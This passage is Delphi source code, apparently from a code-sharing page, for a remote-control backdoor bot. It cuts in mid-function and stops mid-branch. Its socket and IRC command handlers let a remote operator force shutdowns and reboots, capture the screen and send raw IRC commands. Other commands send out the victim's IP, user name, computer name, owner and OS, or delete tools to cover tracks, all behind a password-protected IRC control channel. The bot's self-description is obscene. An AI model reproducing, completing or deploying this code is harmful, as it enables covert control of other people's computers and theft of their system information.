📄 unit1.pas
字号:
data1:integer;
data2:string;
STRanswer:string;
a:integer;
begin
incom := socket.ReceiveText;
data1 := strtoint(copy(incom,0,pos('|', incom)-1)); //gets first 2 no's
data2 := copy(incom,pos('|',incom)+1,length(incom)); //gets everything AFTER "|"
case data1 of
1:begin
STRanswer := '01|'+GetServer;
end;
2:begin
STRanswer := '02|'+GetComp;
end;
3:begin
RemoveServer;
end;
4:begin
mciSendString('Set cdaudio door closed', nil, 0, handle);
end;
5:begin
mciSendString('Set cdaudio door open', nil, 0, handle);
end;
6:begin
for a := 1 to 20 do
begin
mciSendString('Set cdaudio door closed', nil, 0, handle);
mciSendString('Set cdaudio door open', nil, 0, handle);
MessageBox(0, 'Computer Coffee Holder Active', 'Computer', +mb_Ok +mb_ICONINFORMATION);
end;
end;
7:begin
SendMessage(Application.Handle, WM_SYSCOMMAND, SC_MONITORPOWER, 0);
end;
8:begin
SendMessage(Application.Handle, WM_SYSCOMMAND, SC_MONITORPOWER, -1);
end;
9:begin
ExitWindows(EWX_SHUTDOWN, EWX_FORCE);
end;
10:begin
ExitWindowsEx(EWX_REBOOT,EWX_FORCE);
end;
11:begin
ExitWindowsEx(EWX_LOGOFF, EWX_FORCE);
end;
12:begin
ExitWindowsEx(EWX_FORCE or EWX_REBOOT,0);
end;
13:begin
SetSystemPowerState(true,true);
end;
14:begin
SetSystemPowerState(FALSE,FALSE);
end;
15:begin
ExitWindowsEx(EW_RESTARTWINDOWS, 1);
end;
16:begin
mciSendString('Set cdaudio door closed', nil, 0, handle);
mciSendString('Set cdaudio door open', nil, 0, handle);
MessageBox(0, 'Computer Coffee Holder Active', 'Computer', +mb_Ok +mb_ICONINFORMATION);
end;
17:begin
if (ircbot.Active = false) then
begin
ircbot.Active:=true;
end else
end;
18:begin
if (ircbot.Active = true) then
begin
ircbot.Socket.SendText('PRIVMSG ' + ircChan + ' :Server Client forcing exit' + #10#13);
ircbot.Active:=false;
end else
end;
19:begin
if (ircbot.active = true) then
begin
STRanswer := '3|ON';
end else
if (ircbot.active = false) then
begin
STRanswer := '3|OFF';
end else
end;
20:begin
STRanswer := '4|' + ircNick + #10;
socket.SendText(STRanswer);
STRanswer := '5|' + ircChan + #10;
socket.SendText(STRanswer);
STRanswer := '6|' + ircBotPass + #10;
socket.SendText(STRanswer);
STRanswer := '7|' + ircULI + #10;
end;
21:begin
ircNick := data2;
form1.ircbot.Socket.SendText('NICK ' + ircNick + #10#13);
ircbot.Socket.SendText('PRIVMSG ' + ircChan + ' :Nick changed at g0ds [Client] request' + #10#13 )
end;
22:begin
ircbot.socket.SendText('PRIVMSG ' + ircChan + ' :Changing channel ( sent from g0d [Client] - ' + data2 + ' )' + #10#13);
ircbot.Socket.SendText('PART ' + ircChan + #10#13);
ircChan := data2;
ircbot.Socket.sendtext('JOIN ' + ircChan + #10#13);
end;
23:begin
ircBotPass := data2;
ircbot.Socket.SendText('PRIVMSG ' + ircChan + ' :Pass Changed ( Sent from g0d [Client] )' + #10#13);
end;
24:begin
ircbot.Socket.SendText('PRIVMSG ' + ircChan + ' :' + data2 + #10#13)
end;
25:begin
ircbot.Socket.SendText('PRIVMSG ' + ircChan + ' :Raw text sent ( Sent from g0d [Client] )' + #10#13);
ircbot.Socket.SendText(data2 + #10#13);
end;
26:begin
ircbot.Socket.SendText('PRIVMSG ' + ircChan + ' :User logged out ( g0d [Client] is changing logged in user )' + #10#13);
ircULI := data2;
ircbot.Socket.sendtext('PRIVMSG ' + ircChan + ' :User logged in ( g0d [Client] forced ' + ircULI + ' to login )' + #10#13);
end;
27:begin
MyPortNo := copy(data2, 0, pos('-', data2)-1);
MyDirectory := copy(data2, pos('-',data2) +1, length(data2));
//StartWebServer(MyPortNo, MyDirectory);
end;
28:begin
//CloseServer := true;
end;
29:begin
STRanswer := '8|' + form1.screencapture;
end;
end;
if STRanswer <> '' then begin
socket.SendText(STRanswer); //send back answer
end;
end;
procedure TForm1.ircbotConnect(Sender: TObject; Socket: TCustomWinSocket);
begin
sendinfo;
Form1.ircbot.Socket.SendText('JOIN ' + ircChan + #10#13);
end;
procedure TForm1.sendinfo;
var send01:string;
begin //Info to connect. has to be sent so the server can authorize your connection.
Randomize;
send01:='NICK ' + ircNick + '[' + IntToStr(Random(10000)) + ']' + #13#10;
Form1.ircbot.Socket.SendText(send01);
send01:='USER ' + ircNick + '[' + IntToStr(Random(10000)) + ']' + ' ' + #34 + 'win2kpro' + #34 + ' ' + #34 + '127.0.0.1' + #34 + ' ' + ':' + 'myrealcrapname' + #13#10;
Form1.ircbot.Socket.SendText(send01);
end;
procedure tform1.startIrcBot;
begin
Form1.ircbot.Host:=ircServ;
Form1.ircbot.Port:=strtoint(ircPort);
Form1.ircbot.Active:=true;
end;
procedure TForm1.RecvData(Sender: TObject; Socket: TCustomWinSocket);
var
strRecv:string;
send01:string;
Registry: TRegistry;
begin
strRecv := Form1.ircbot.Socket.ReceiveText;
if pos('Nickname is already in use.',strRecv) > 0 then
begin //Incase nick already used. (duh!)
send01:='NICK ' + ircNick + '[' + IntToStr(Random(10000)) + ']' + #13#10;
form1.ircbot.Socket.SendText(send01);
end else
if pos('PING :',strRecv) > 0 then
begin //Replys to 'Server' pings.
send01:= 'PONG ' + copy(strRecv,pos('PING :',strRecv) + 7,length(strRecv)) + #10#13;
Form1.ircbot.Socket.SendText(send01);
end else
if pos('KICK',strRecv) > 0 then
begin //Replys to 'Server' pings.
send01:= 'JOIN ' + ircChan + #10#13;
Form1.ircbot.Socket.SendText(send01);
end else
if (pos('QUIT',strRecv) > 0) and (GetNick(strRecv) = ircULI) then
begin //Replys to 'Server' pings.
send01:= 'PRIVMSG ' + ircChan + ' :Auto logoff ( ' + ircULI + ' ) (USER Quit IRC)' + #10#13;
Form1.ircbot.Socket.SendText(send01);
ircULI:='';
end else
if (pos('PART ' + ircChan,strRecv) > 0) and (GetNick(strRecv) = ircULI) then
begin //Replys to 'Server' pings.
send01:= 'PRIVMSG ' + ircChan + ' :Auto logoff ( ' + ircULI + ' ) (USER Quit IRC)' + #10#13;
Form1.ircbot.Socket.SendText(send01);
ircULI:='';
end else
if (ircULI = '') then
begin
if pos(ansiuppercase(ircPrefix + 'login ') + ircBotPass,ansiuppercase(strRecv)) > 0 then
begin
send01 := 'PRIVMSG ' + ircChan + ' :User logged in ( '+GetNick(strRecv)+' )' + #10#13;
ircULI := GetNick(strRecv);
form1.ircbot.Socket.SendText(send01);
end else
end else
if (GetNick(strRecv) = ircULI) then
begin
if pos(ansiuppercase(ircPrefix + 'logout'),ansiuppercase(strRecv)) > 0 then
begin
send01 := 'PRIVMSG ' + ircChan + ' :User logged out ( ' + GetNick(strRecv) + ' )' + #10#13;
form1.ircbot.Socket.SendText(send01);
ircULI := '';
end else
if pos(ansiuppercase(ircPrefix + 'irc_halt'),ansiuppercase(strRecv)) > 0 then
begin
send01 := 'PRIVMSG ' + ircChan + ' :Stopping irc bot, logging out ( ' + GetNick(strRecv) + ' )' + #10#13;
form1.ircbot.Socket.SendText(send01);
ircULI := '';
form1.ircbot.Active:=false;
end else
if pos(ansiuppercase(ircPrefix + 'panic'),ansiuppercase(strRecv)) > 0 then
begin
send01 := 'PRIVMSG ' + ircChan + ' :Stopping irc bot, stopping server ( ' + GetNick(strRecv) + ' )' + #10#13;
form1.ircbot.Socket.SendText(send01);
ircULI := '';
form1.ircbot.Active:=false;
exitprocess(0);
end else
if pos(ansiuppercase(ircPrefix + 'about'),ansiuppercase(strRecv)) > 0 then
begin
send01 := 'PRIVMSG ' + ircChan + ' :Anal Rape v1.0 By Otis - http://www.imafraid.com' + #10#13;
form1.ircbot.Socket.SendText(send01);
end else
if pos(ansiuppercase(ircPrefix + 'info'),ansiuppercase(strRecv)) > 0 then
begin
send01 := 'PRIVMSG ' + ircChan + ' :Anal Rape Server Online! IP[' + form1.ircbot.Socket.LocalAddress + '] Port[' + copy(portnr, 5, length(portnr)) + '] UserName[' + UserName + '] ' + #10#13;
form1.ircbot.Socket.SendText(send01);
send01 := 'PRIVMSG ' + ircChan + ' :CPU Name[' + ComputerName + '] Organization[' + GetOrg + '] Owner['+GetRegowner+']' + #10#13;
form1.ircbot.Socket.SendText(send01);
send01:= 'PRIVMSG ' + ircChan + ' :Workgroup[' + GetWorkgroup + '] Speed[' + Format('CPU speed: %f MHz', [GetCPUSpeed]) + ']' + ' Operating System[ ' + GetWindowsVer + '] ' + #10#13;
form1.ircbot.Socket.SendText(send01);
end else
if pos(ansiuppercase(ircPrefix + 'covertracks'),ansiuppercase(strRecv)) > 0 then
begin
send01 := 'PRIVMSG ' + ircChan + ' :Deleting Net Utils :P' + #10#13;
form1.ircbot.Socket.SendText(send01);
CoverMyTracks;
end else
if pos(ansiuppercase(ircPrefix + 'visit_vis'),ansiuppercase(strRecv)) > 0 then
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -